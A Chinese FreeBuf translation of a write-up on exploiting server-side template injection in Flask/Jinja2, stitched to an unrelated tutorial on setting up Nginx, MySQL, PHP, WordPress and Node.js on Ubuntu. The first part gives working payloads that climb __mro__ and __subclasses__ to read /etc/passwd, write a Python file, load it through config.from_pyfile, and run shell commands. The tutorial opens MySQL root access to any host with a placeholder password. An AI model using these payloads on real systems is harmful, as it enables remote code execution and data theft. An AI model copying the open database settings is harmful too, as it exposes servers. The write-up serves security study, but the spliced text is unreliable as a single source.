探索Flask/Jinja2中的服务端模版注入

来自: http://www.freebuf.com/articles/web/98928.html

在探索Flask/Jinja2中的服务端模版注入Part1中,我最初的目标是找到文件的路径或者说是进行文件系统访问。之前还无法达成这些目标,但是感谢朋友们在之前文章中的反馈,现在我已经能够实现这些目标了。本文就来讲讲进一步研究获得的结果。

神助攻

对于之前的文章,感谢 Nicolas G 对我们的帮助

如果你有玩玩这个payload,你很快就会清楚这是行不通的。这里有有几个比较合理的解释,之后我会简短给大家说说。关键是这个payload使用了多个之前我们忽略了但非常重要的内省实用程序: __mro__ 以及 __subclasses__ 属性

免喷申明:以下的解释可能会存在些许生涩,我实在没兴趣把自己搞的非常精通啥的,就这水平了。大多数时候我在解决框架/语言中存在的模糊不清的部分,我都会尝试看是否能够带给我预期的效果,但我一直不知道会产生这种效果的缘由。我依旧在学习这些属性背后隐藏着的“为什么”,但我至少想将我知道的分享给大家!

__mro__ 中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看 Python文档 中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略 dir 输出(see Objects/object.c at line 1812 )

__subclasses__ 属性在这里作为一种方法被 定义 为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。

简单来说, __mro__ 允许我们在当前Python环境中追溯对象继承树,之后 __subclasses__ 又让我们回到原点。从一个new-style object开始,例如 str 类型。使用 __mro__ 我们可以从继承树爬到根对象类,之后在Python环境中使用 __subclasses__ 爬向每一个new-style object。ok,这让我们能够访问加载到当前Python环境下的所有类,那么我们该怎么利用这一新发现愉快的玩耍呢?

利用

这里我们还要考虑一些东西,Python环境可能会包括:

  • 源于Flask应用的东西
  • 目标应用自定义的一些东西

因为我们是想获得一个通用exploit,所以测试环境越接近原生Flask越好。越向应用中添加库和第三方模块,那我们能获得通用exploit的概率就越低。我们之前进行概念验证时使用的那个应用就是一个非常不错的选择。

为了挖掘出一枚exploit向量,要求不修改目标源代码。在前一篇文章中,为了进行内省,我们向存在漏洞的应用中添加了一些函数,但现在这些统统都不需要了。

首先我们要做的第一件事便是选择一个new-style object用于访问 object 基类。可以简单的使用 ” ,一个空字符串, str 对象类型。之后我们可以使用 __mro__ 属性访问对象的继承类。将 {{ ”.__class__.__mro__ }} 作为payload注入到存在SSTI漏洞的页面中

我们可以看到之前讨论过的元组现在正向我们反馈,由于我们想追溯根对象类,我们利用第二条索引选择 object 类类型。目前我们正位于根对象,可以利用 __subclasses__ 属性dump所有存在于应用程序中的类,将 {{ ”.__class__.__mro__[2].__subclasses__() }} 注入到SSTI漏洞中。

如你所看到的,这里面的信息太多了。在我使用的这个目标App中,这里有572个可访问类。这事情变得有些棘手了,这也是为什么上面推特中提到的payload行不通的原因了。记住,并不是每个应用的Python环境都差不多。我们的目标是找到一个能够让我们访问文件或者操作系统的东西。可能不那么容易在一个应用中找到类似 subprocess.Popen 模块进而获得一枚exploit,例如受前文Twitter上附有的那个payload影响的应用。但是从我的发现来看,没有什么能够比得上原生Flask。幸好,在原生Flask下我们也能够实现类似的效果。

如果你梳理之前payload的输出信息,你应该可以找到 <type ‘file’> 类,它是文件系统访问的关键。虽然 open 是创建文件对象的内置函数, file 类也是有能力列举文件对象的,如果我们能够列举一个文件对象,之后我们可以使用类似 read 方法来提取内容。为了证实这一点,找到 file 类的索引并注入 {{ ”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read() }} ,其中的 40 是环境中 <type ‘file’> 类的索引。

主观上我们已经证明了在Flask/Jinja2框架下利用SSTI是能够读取文件的,我们废了这么多时间难道只是这样?今天我的目标是远程代码/命令执行!

在前一篇文章中我引用了 config 对象的几个方法将对象加载到Flask配置环境中。其中一种方法便是 from_pyfile ,以下为 from_pyfile 方法的代码( flask/config.py )

  def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

这里有几个非常有趣的东西,最明显的是使用一个文件路径作为 compile 函数的参数。如果我们能够向操作系统写入文件,那么就可以大显身手咯。正如我们刚才讨论的,我们能够做到!利用前面提及的 file 类不仅可以读取文件还可以向目标服务器写入文件。之后我们通过SSTI漏洞调用 from_pyfile 方法编译文件并执行其中内容,这是一个2阶段攻击。首先向SSTI漏洞注入类似 {{ ”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg’, ‘w’).write(‘<malicious code here>”) }} 。之后通过注入 {{ config.from_pyfile(‘/tmp/owned.cfg’) }} 触发编译进程,之后就会执行编译后的代码。远程代码执行完成!

接下来将战果扩大,虽然代码在运行就非常棒了,但每个代码块都必须经过一个多步骤进程。让我们利用 from_pyfile 方法为其预设用途,并向 config 对象添加一些有用的玩意。向SSTI漏洞注入 {{ ”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg’, ‘w’).write(‘from subprocess import check_output\n\nRUNCMD = check_output\n’) }} 。这将向远程服务器写入一个文件,当编译完成为 subprocess 模块引入 check_output 方法,并将其设置指向变量 RUNCMD 。如果你回想一下上一篇文章,你会将其添加到Flask config 对象,用大写字符将其看作为一个属性。

注入 {{ config.from_pyfile(‘/tmp/owned.cfg’) }} ,向 config 对象添加一个新项。注意以下两张图片的不同之处!

现在我们可以调用新的配置项在远程服务器上运行命令了,通过向SSTI漏洞注入 {{ config[‘RUNCMD’](‘/usr/bin/id’,shell=True) }} 即可证明!

远程命令执行完成!

总结

我们不必再去纠结如何逃避Flask/Jinja2框架的模版沙盒,现在就可以得出结论:在Flask/Jinja2环境下SSTI漏洞带来的影响实实在在的存在!

*参考来源: nvisium ,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

Nginx 本地服务器搭建

LEMP环境搭建及配置

安装Nginx

在ubuntu上安装软件很简单,使用apt-get即可。注意由于权限问题,需要在前面加sudo

sudo apt-get update
sudo apt-get install nginx

踩坑提醒

安装Nginx时出现错误

dennis@my-remote-server:~$ sudo apt-get install nginx
Reading package lists... Done
Building dependency tree
Reading state information... Done
nginx is already the newest version (1.10.0-0ubuntu0.16.04.2).
0 upgraded, 0 newly installed, 0 to remove and 42 not upgraded.
2 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n]
Setting up nginx-core (1.10.0-0ubuntu0.16.04.2) ...
Job for nginx.service failed because the control process exited with error code. See "systemctl status nginx.service" and "journalctl -xe" for details.
invoke-rc.d: initscript nginx, action "start" failed.
dpkg: error processing package nginx-core (--configure):
 subprocess installed post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of nginx:
 nginx depends on nginx-core (>= 1.10.0-0ubuntu0.16.04.2) | nginx-full (>= 1.10.0-0ubuntu0.16.04.2) | nginx-light (>= 1.10.0-0ubuntu0.16.04.2) | nginx-extras (>= 1.10.0-0ubuntu0.16.04.2); however:
  Package nginx-core is not configured yet.
  Package nginx-full is not installed.
  Package nginx-light is not installed.
  Package nginx-extras is not installed.
 nginx depends on nginx-core (<< 1.10.0-0ubuntu0.16.04.2.1~) | nginx-full (<< 1.10.0-0ubuntu0.16.04.2.1~) | nginx-light (<< 1.10.0-0ubuntu0.16.04.2.1~) | nginx-extras (<< 1.10.0-0ubuntu0.16.04.2.1~); however:
  Package nginx-core is not configured yet.
  Package nginx-full is not installed.
  Package nginx-light is not installed.
  Package nginx-extras is not installed.

dpkg: error processing package nginx (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 nginx-core
 nginx
E: Sub-process /usr/bin/dpkg returned an error code (1)
原因分析

Google了一下,发现出现这种错误,一般应该是由于其他应用占用了80端口。可以这样来看下:

dennis@myserver:~$ sudo netstat -nlp
sudo: unable to resolve host myserver
[sudo] password for dennis:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      132/rpcbind
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      332/apache2
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      269/sshd
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      454/master
tcp6       0      0 :::111                  :::*                    LISTEN      132/rpcbind
tcp6       0      0 :::22                   :::*                    LISTEN      269/sshd

果然80端口被默认安装的apache给占掉了,所以需要干掉占用80端口的apache2:

sudo kill -9 332

运行apt-get命令更新或安装软件出现Setting locale failed错误

perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
    LANGUAGE = (unset),
    LC_ALL = (unset),
    LC_CTYPE = "en_US.UTF-8",
    LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
解决办法:
sudo ap-get update
apt-get install language-pack-en

Nginx 常用目录

内容

/var/www/html: 保存web网页内容的默认目录

服务器配置

/etc/nginx: nginx 配置目录。所有Nginx相关的配置文件都在这里。
/etc/nginx/nginx.conf: Nginx主配置文件,进行全局默认设置。
/etc/nginx/sites-available: 针对每个”server blocks”独立的配置文件。这里的配置文件并不被直接使用,只有软连接到site-enabled的配置才会真正生效。
/etc/nginx/sites-enabled/: 针对每个”server blocks”独立的配置文件。由sites-available链接过来。
/etc/nginx/snippets: 一些配置脚本片段。

服务器日志

/var/log/nginx/access.log: 默认保存所有与web服务交互的请求。
/var/log/nginx/error.log: Nginx的错误日志

Tips

1. 检测Nginx的配置文件是否有问题:

dennis@my-remote-server:~$ sudo nginx -t -c /etc/nginx/nginx.conf
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

2. 停止apache服务

停掉apache服务的方法有多种,具体参考ubuntu-linux-start-restart-stop-apache-web-server. 较为常用的有:

sudo /etc/init.d/apache2 stop

或者

$ sudo apache2ctl stop

3. 取消apache自启动

在ubuntu中apache可能默认会设置为自启动,也就是说kill了之后又会自己起来。可以通过下面的命令取消自启动:

sudo update-rc.d -f apache2 remove

回复自启动则需要:

sudo update-rc.d apache2 defaults

4. Nginx启动与停止

和apache的启动和停止一样,Nginx的启动和停止服务也有多种方式,常用的有:

//To stop your web server, you can type:
sudo systemctl stop nginx

//To start the web server when it is stopped, type:
sudo systemctl start nginx

//To stop and then start the service again, type:
sudo systemctl restart nginx

//If you are simply making configuration changes, Nginx can often reload without dropping connections. To do this, this command can be used:
sudo systemctl reload nginx

//By default, Nginx is configured to start automatically when the server boots. If this is not what you want, you can disable this behavior by typing:
sudo systemctl disable nginx

//To re-enable the service to start up at boot, you can type:
sudo systemctl enable nginx

或者

sudo /etc/init.d/nginx restart
sudo service nginx restart

5. 查看本机ip地址

ip addr show venet0 | grep inet | awk '{ print $2; }' | sed 's/\/.*$//'

其中venet0可能为eth0,可以通过ip addr 或者ifconfig看下。

或者可以这样:

dennis@my-remote-server:/$ curl http://icanhazip.com
xxx.xxx.xxx.xxx

6. 检查Nginx的状态:

    ```bash
    dennis@my-remote-server:/var/www$ sudo systemctl status nginx
    ● nginx.service - A high performance web server and a reverse proxy server
       Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
       Active: active (running) since Wed 2016-08-17 14:39:33 CST; 2h 43min ago
     Main PID: 5221 (nginx)
       CGroup: /system.slice/nginx.service
               ├─ 5221 nginx: master process /usr/sbin/nginx -g daemon on; master_process on
               ├─15622 nginx: worker process
               └─15623 nginx: worker process
    
    Aug 17 14:39:33 my-remote-server systemd[1]: Stopped A high performance web server and a reverse proxy server.
    Aug 17 14:39:33 my-remote-server systemd[1]: Starting A high performance web server and a reverse proxy server...
    Aug 17 14:39:33 my-remote-server systemd[1]: nginx.service: Failed to read PID from file /run/nginx.pid: Invalid argument
    Aug 17 14:39:33 my-remote-server systemd[1]: Started A high performance web server and a reverse proxy server.
    Aug 17 15:52:19 my-remote-server systemd[1]: Reloading A high performance web server and a reverse proxy server.
    Aug 17 15:52:19 my-remote-server systemd[1]: Reloaded A high performance web server and a reverse proxy server.
    Aug 17 16:34:05 my-remote-server systemd[1]: Reloading A high performance web server and a reverse proxy server.
    Aug 17 16:34:05 my-remote-server systemd[1]: Reloaded A high performance web server and a reverse proxy server.
    ```

安装MySQL

安装

sudo apt-get update
sudo apt-get install mysql-server

配置

sudo mysql_secure_installation

查看MySQL的版本:

mysql --version

初始化

在5.7.6以前的版本:

sudo mysql_install_db

5.7.6及之后的版本:

sudo mysqld --initialize

如果是如上面那样通过apt-get安装的,这一步通常已经被做了。因此会有如下错误提示:

 [ERROR] --initialize specified but the data directory has files in it. Aborting.

MySQL的启动和停止

sudo /etc/init.d/mysql start
sudo /etc/init.d/mysql stop
sudo /etc/init.d/mysql restart

或者:

sudo start mysql
sudo stop mysql
sudo restart mysql

这种方式使用了“upstart” (其实就是/etc/init.d/mysql的软连接)。

测试连接

可以通过mysqladmin -p -u root version命令来测试一下mysql连接是否正常。

dennis@my-remote-server:/var/www/html$ mysqladmin -p -u root version
Enter password:
mysqladmin  Ver 8.42 Distrib 5.7.13, for Linux on x86_64
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Server version      5.7.13-0ubuntu0.16.04.2
Protocol version    10
Connection      Localhost via UNIX socket
UNIX socket     /var/run/mysqld/mysqld.sock
Uptime:         19 min 14 sec

Threads: 1  Questions: 8  Slow queries: 0  Opens: 115  Flush tables: 1  Open tables: 34  Queries per second avg: 0.006

安装PHP

sudo apt-get -y install php7.0-fpm php7.0-mysql

配置PHP设置

sudo vim /etc/php/7.0/fpm/php.ini

打开配置文件,找到cgi.fix_pathinfo,修改为:

cgi.fix_pathinfo=0

然后重启php环境:

sudo systemctl restart php7.0-fpm

Nginx中配置支持PHP

打开Nginx服务块配置文件:

sudo vim /etc/nginx/sites-available/default

修改文件为(具体修改可以参考这里的说明):

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    root /var/www/html;
    index index.php index.html index.htm index.nginx-debian.html;

    server_name server_domain_or_IP;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }

    location ~ /\.ht {
        deny all;
    }
}

修改完保存之后可以使用sudo nginx -t命令确认一下配置文件的正确性。
然后使用命令sudo systemctl reload nginx重启Nginx。

测试一下

新建文件/var/www/html/info.php,内容如下:

<?php
phpinfo();

然后访问 http://server_domain_or_IP/info.php查看结果。

安装Wordpress应用程序 (可选)

至此LEMP环境已经搭建完毕,下面我们简单介绍下在该环境上安装最为流行的博客程序wordpress的过程。本节仅供参考,如果不需要,可以不安装。

数据库及环境配置

创建数据库及新的数据库用户

mysql -u root -p

用密码登录成功之后执行下面的sql语句创建一个数据库,名叫wordpress

CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;

安全起见,我们为这个数据库创建一个单独的用户:

GRANT ALL ON wordpress.* TO 'wordpressuser'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
EXIT;

在外网通过IP直接访问操作数据库

默认情况下,我们只能在服务器上通过localhost访问MySQL,如果需要通过IP从外网访问,需要进行相应的设置。

  1. 修改授权
GRANT ALL ON wordpress.* TO 'wordpressuser'@'%' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
EXIT;

如果需要,还可以指定特定的IP地址(替换上面的%即可)。

或者可以直接修改表:

mysql -u root -p

mysql> use mysql;

mysql> update user set host = '%' where user = 'root';

mysql> select user, host from user;
+------------------+-----------+
| user             | host      |
+------------------+-----------+
| mysql.sys        | localhost |
| root             | localhost |
| wordpressuser    | %         |
+------------------+-----------+
3 rows in set (0.00 sec)
  1. 修改配置文件

配置文件位置为/etc/mysql/mysql.conf.d/mysqld.cnf,注释掉其中一行:

# bind-address  =127.0.0.1

重启MySQL即可:

sudo service mysql restart

配置Nginx

打开配置文件:

sudo vim /etc/nginx/sites-available/default

作如下修改(具体可以参考这里的说明

server {
    . . .

    location = /favicon.ico { log_not_found off; access_log off; }
    location = /robots.txt { log_not_found off; access_log off; allow all; }
    location ~* \.(css|gif|ico|jpeg|jpg|js|png)$ {
        expires max;
        log_not_found off;
    }
    . . .
}

对try_files做如下修改:

server {
    . . .
    location / {
        #try_files $uri $uri/ =404;
        try_files $uri $uri/ /index.php$is_args$args;
    }
    . . .
}

然后检查配置文件的正确性,并重启Nginx:

sudo nginx -t
//If no errors were reported, reload Nginx by typing:
sudo systemctl reload nginx

安装额外的PHP扩展

sudo apt-get update
sudo apt-get install php-curl php-gd php-mbstring php-mcrypt php-xml php-xmlrpc

安装完之后需要重启PHP-FPM,来使新的设置生效。

sudo systemctl restart php7.0-fpm

安装Wordpress

获取并安装wordpress源码

cd /tmp
curl -O https://wordpress.org/latest.tar.gz
tar xzvf latest.tar.gz
cp /tmp/wordpress/wp-config-sample.php /tmp/wordpress/wp-config.php
mkdir /tmp/wordpress/wp-content/upgrade
sudo cp -a /tmp/wordpress/. /var/www/html

调整文件权限和所有权

sudo chown -R dennis:www-data /var/www/html

我们还需要设置setgid来使目录下新创建的文件,和父级目录具有相同的权限:

sudo find /var/www/html -type d -exec chmod g+s {} \;

另外还需要对一些特殊的目录做处理:

cd /var/www/html
sudo chmod g+w ./wp-content
sudo chmod -R g+w ./wp-content/themes
sudo chmod -R g+w ./wp-content/plugins

设置secure key

我们可以用wordpress官方提供的工具生成secure key:

curl -s https://api.wordpress.org/secret-key/1.1/salt/

运行后得到如下结果:

define('AUTH_KEY',         'b?=x1eCLLa9c6f]%=8A$D^P=,y$+#)|XV2ffFo-sq8xY8M-a|6IE0_T-|!O.*Esa');
define('SECURE_AUTH_KEY',  'mF5CQ|m{(tWQQhK+_>d4UbJ5VU|], c)5^!wYbQ1WU+tBk8tFh]_<p#yZ|x;T{L%');
define('LOGGED_IN_KEY',    '(J<=P5mY3?>bqMqwk!]O=R+|]=8q^Hj/_+Dro=`-8XA[lBUQnt+Wk2MJnlC?$k&L');
define('NONCE_KEY',        'y,D2p24;-_g7-(Tu<X0HEPU:_({?JA4giAH@#<WPiVc=P%XwzB1.e|x#,l]1n2CO');
define('AUTH_SALT',        ')+fC8PF&FwD[*ux[ |YXxF-*!ds$uuy3TCzp|+-v_vt*-ox-6|A+A!]A*tJo^De=');
define('SECURE_AUTH_SALT', '4Ms!kC>.Y2*6fE+?;fE=>0BR~cB5J;C/6Sn177c(p%Q(Q6a-{I&[N,2Tn!ly.GgW');
define('LOGGED_IN_SALT',   '0nu||~mIX-++A;uS3bWde2-=A2+8=`c_(6JD_hJPf@9DiTiAu--W[wFb}+:P|[[+');
define('NONCE_SALT',       ' F=UmQao!jv(|#Di=A$Z6(l^_|z=wTnI2/P8<l7BO/IfiqX03!+hMqDa*6|hxog3');

拷贝到wp-config.php文件中替换相应的内容。

设置数据库信息及文件操作权限

wp-config.php文件中修改数据库信息,并添加FS_METHOD以便于Wordpress可以访问文件系统进行文件的读写操作,这在安装插件的时候会很有用。

define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpressuser');

/** MySQL database password */
define('DB_PASSWORD', 'password');

define('FS_METHOD', 'direct');

然后我们就可以访问http://server_domain_or_IP进行wordpress的安装了。

LEMP环境上配置多个站点

通常情况下我们需要在Web服务器上部署多个站点,使用多个不同的域名。下面将详细介绍在我们的LEMP环境上如何配置。

设置新的文档目录

默认情况下,在Ubuntu上的Nginx已经默认创建了一个server block,其文档目录为/var/www/html(我们在上面安装wordpress的时候使用的就是这个默认的server block)。

如果我们需要部署多个站点,那么就需要创建多个不同的server block。假如我们需要部署两个网站:

example.com
test.com

这样我们就需要设置两个新的文档目录。为统一起见,我们使用xxx.com/html这种目录结构形式:

sudo mkdir -p /var/www/example.com/html
sudo mkdir -p /var/www/test.com/html

修改一下这两个文档目录的权限:

sudo chown -R $USER:$USER /var/www/example.com/html
sudo chown -R $USER:$USER /var/www/test.com/html

这里用到了环境变量$USER,请确保没有使用root账号进行操作。

dennis@my-remote-server:~$ echo $USER
dennis

至此文档目录应该配置好了。如果需要,我们可以通过下面的命令设置一下上层目录的权限:

sudo chmod -R 755 /var/www

需要提醒的是,暂时不需要担心这两个测试域名是否可以访问的问题,后边我们会介绍在本地浏览器如何访问这两个测试域名。

为每个站点创建测试文件

创建文件/var/www/example.com/html/index.html,内容为:

<html>
    <head>
        <title>Welcome to Example.com!</title>
    </head>
    <body>
        <h1>Success!  The example.com server block is working!</h1>
    </body>
</html>

同样,创建文件/var/www/test.com/html/index.html,内容为:

<html>
 <head>
     <title>Welcome to Test.com!</title>
 </head>
 <body>
     <h1>Success!  The test.com server block is working!</h1>
 </body>
</html>

为每个站点创建server block文件

如前所述,默认情况下Nginx已经配置了一个默认的server block,因此我们可以将默认的server block配置文件拷贝过来稍作修改:

sudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/example.com

打开文件:

sudo vim /etc/nginx/sites-available/example.com

其内容如下:

server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www/html;
        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }
}

对其内容稍作修改,修改之后内容如下:

server {
        listen 80;
        listen [::]:80;

        root /var/www/example.com/html;
        index index.html index.htm index.nginx-debian.html;

        server_name example.com www.example.com;

        location / {
                try_files $uri $uri/ =404;
        }
}

主要修改了几个地方:

  • 去掉了default_server字眼。一台服务器上只能有一个default_server的配置,因此我们保留系统最初的设置为默认设置。
  • 修改root目录.
  • 修改server_name.

针对第二个站点test.com也做类似修改。

sudo cp /etc/nginx/sites-available/example.com /etc/nginx/sites-available/test.com
sudo vim /etc/nginx/sites-available/test.com

激活两个站点的server block

使用如下命令:

sudo ln -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/
sudo ln -s /etc/nginx/sites-available/test.com /etc/nginx/sites-enabled/

这样这些文件(链接)就位于激活的目录内了。到目前为止我们有3个激活了的server block了。服务器根据listen指令和server_name来确定该访问那个目录。

  • example.com: 响应来自example.com以及www.example.com的请求
  • test.com: 响应来自test.com以及www.test.com的请求
  • default: 响应没有匹配到上面两个规则的80端口的请求。

另外,还需要在nginx配置文件/etc/nginx/nginx.conf中设置下server_names_hash_bucket_size:

http {
    . . .

    server_names_hash_bucket_size 64;

    . . .
}

然后检查下nginx配置文件的正确性:

sudo nginx -t

重启一下nginx使修改生效:

sudo systemctl restart nginx

关于Nginx更多的指令介绍可以参考这个教程

本地测试

由于example.comtest.com这两个域名并非我们真实拥有的域名,因此需要在本地机器修改下hosts来测试访问。
以Mac为例,修改/etc/hosts文件:

127.0.0.1   localhost
. . .

XXX.XXX.XXX.XXX example.com www.example.com
XXX.XXX.XXX.XXX test.com www.test.com

前面的XXX.XXX.XXX.XXX即为服务器的外网IP。
现在我们就可以直接访问example.comtest.com来查看这两个站点了。

Tips: 关于真实域名相关的设置,有需要可以参考这篇文章.

配置二级子域名及代理访问

举例来说,比如我们在我的服务器上有两个web程序,一个是之前的 example.com,另一个程序是nodejs应用,使用端口5555,需要映射到二级域名 demo.example.com。我们应该如何设置呢?

1)添加域名解析

这个步骤不多说了,在域名服务提供商网站添加一条A记录,设置域名demo.example.com。

2)修改Nginx配置文件

就是我们上面提到的文件/etc/nginx/sites-available/example.com,添加如下内容:

server {  
    listen 80;
    server_name demo.example.com;

    location / {
        proxy_set_header   X-Real-IP $remote_addr;
        proxy_set_header   Host      $http_host;
        proxy_pass         http://127.0.0.1:5555;
    }
}

然后重启Nginx即可。

Ubuntu上安装和部署Node.js应用

安装Node.js

通过apt-get的方式安装

在ubuntu上可以使用apt-get安装Node.js:

sudo apt-get update
sudo apt-get install nodejs
sudo apt-get install npm

不过通过这种方式安装的Node.js会存在两个问题:

  • nodejs的版本比较老,目前我看到的是v4.2.6。
  • 在ubuntu上由于node这个名字被其他程序占用,因此要使用Node.js需要使用nodejs。
    如:
dennis@my-remote-server:~$ nodejs --version
v4.2.6

通过NVM安装

NVM顾名思义就是Node.js版本管理器(“Node.js version manager”),它可以让我们安装多个Node.js版本并且可以方便的随意切换。

安装NVM,首先需要安装一些依赖包:

sudo apt-get update
sudo apt-get install build-essential libssl-dev

然后从NVM的Github repo里拿到安装脚本。

curl -sL https://raw.githubusercontent.com/creationix/nvm/v0.31.4/install.sh -o install_nvm.sh

目前我看到的最新版本是0.31.4. 你可以修改为当前的最新版本。

然后执行脚本:

bash install_nvm.sh

该脚本会将NVM安装在~/.nvm目录,并且会对~/.profile文件做一些必要的修改,我们需要使其修改立即生效:

source ~/.profile

然后可以通过下面的命令查看当前可用的Node.js版本:

dennis@my-remote-server:~$ nvm ls-remote
        v5.10.0
        v5.10.1
        v5.11.0
        v5.11.1
        v5.12.0
         v6.0.0
         v6.1.0
         v6.2.0
         v6.2.1
         v6.2.2
         v6.3.0
         v6.3.1
         v6.4.0

最新版本为v6.4.0.
然后通过下面的命令安装最新版本:

nvm install 6.4.0

通常情况下,NVM会选择最近安装的版本来使用。当然我们也可以使用nvm use 6.4.0命令来切换版本。
可以使用命令nvm ls来查看当前环境已经安装的版本:

dennis@my-remote-server:~$ nvm ls
->       v6.4.0
default -> 6.4.0 (-> v6.4.0)
node -> stable (-> v6.4.0) (default)
stable -> 6.4 (-> v6.4.0) (default)
iojs -> N/A (default)

通过添加PPA的方式安装

这种方式暂时不做介绍,有兴趣可以参考这里的教程

创建一个简单的Node.js应用

我们创建一个简单的Node.js应用用于测试。新建一个文件hello.js:

#!/usr/bin/env nodejs
var http = require('http');
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Hello World\n');
}).listen(8080, 'localhost');
console.log('Server running at http://localhost:8080/');

修改其可执行权限,并执行:

chmod +x ./hello.js
./hello.js

可以看到下面的提示:

Server running at http://localhost:8080/

说明服务启动正常,这时候可以通过http://:8080/IP_address:8080 来访问该应用。

使用PM2管理Node.js应用

PM2是优秀的Node.js应用管理工具,使用它可以轻松的管理服务器上的Node.js应用,并使其保持后台运行状态。

安装PM2

sudo npm install -g pm2

使用PM2

启动Node.js应用

可以使用pm2 start命令启动我们刚才创建的示例应用。

dennis@my-remote-server:~$ pm2 start hello.js
[PM2] Spawning PM2 daemon
[PM2] PM2 Successfully daemonized
[PM2] Starting hello.js in fork_mode (1 instance)
[PM2] Done.
┌──────────┬────┬──────┬──────┬────────┬─────────┬────────┬─────────────┬──────────┐
│ App name │ id │ mode │ pid  │ status │ restart │ uptime │ memory      │ watching │
├──────────┼────┼──────┼──────┼────────┼─────────┼────────┼─────────────┼──────────┤
│ hello    │ 0  │ fork │ 8689 │ online │ 0       │ 0s     │ 14.566 MB   │ disabled │
└──────────┴────┴──────┴──────┴────────┴─────────┴────────┴─────────────┴──────────┘
 Use `pm2 show <id|name>` to get more details about an app
dennis@my-remote-server:~$

设置服务器重启自动启动应用

比较值得一提的是,通过PM2启动的应用如果发生crash或者被其他程序杀掉了,会自动重新启动。但是需要注意的是,还需要做一点额外的工作,以便在系统重启之后也可以正常的将你的应用程序启动起来。这就是startup命令的作用了:

dennis@my-remote-server:~$ pm2 startup systemd
[PM2] You have to run this command as root. Execute the following command:
      sudo su -c "env PATH=$PATH:/home/dennis/.nvm/versions/node/v6.4.0/bin pm2 startup systemd -u dennis --hp /home/dennis"

执行之后会看到最后一行,是一条命令:

sudo su -c "env PATH=$PATH:/home/dennis/.nvm/versions/node/v6.4.0/bin pm2 startup systemd -u dennis --hp /home/dennis"

运行一下。成功之后我们可以通过命令sudo systemctl status pm2查看一下状态:

dennis@my-remote-server:~$ sudo systemctl status pm2
● pm2.service - PM2 next gen process manager for Node.js
   Loaded: loaded (/etc/systemd/system/pm2.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2016-08-19 12:02:46 CST; 3min 9s ago
  Process: 10726 ExecStart=/usr/local/lib/node_modules/pm2/bin/pm2 resurrect (code=exited, status=0/SUCCESS)
 Main PID: 10732 (PM2 v1.1.3: God)
   CGroup: /system.slice/pm2.service
           ├─10732 PM2 v1.1.3: God Daemon
           └─10742 node /home/dennis/hello.js

Aug 19 12:02:46 my-remote-server pm2[10726]: [PM2] Resurrecting
Aug 19 12:02:46 my-remote-server pm2[10726]: [PM2] Restoring processes located in /home/dennis/.pm2/dump.pm2
Aug 19 12:02:46 my-remote-server pm2[10726]: [PM2] Process /home/dennis/hello.js restored
Aug 19 12:02:46 my-remote-server pm2[10726]: ┌──────────┬────┬──────┬───────┬────────┬─────────┬────────┬─────────────┬──────────┐
Aug 19 12:02:46 my-remote-server pm2[10726]: │ App name │ id │ mode │ pid   │ status │ restart │ uptime │ memory      │ watching │
Aug 19 12:02:46 my-remote-server pm2[10726]: ├──────────┼────┼──────┼───────┼────────┼─────────┼────────┼─────────────┼──────────┤
Aug 19 12:02:46 my-remote-server pm2[10726]: │ hello    │ 0  │ fork │ 10742 │ online │ 0       │ 0s     │ 14.566 MB   │ disabled │
Aug 19 12:02:46 my-remote-server pm2[10726]: └──────────┴────┴──────┴───────┴────────┴─────────┴────────┴─────────────┴──────────┘
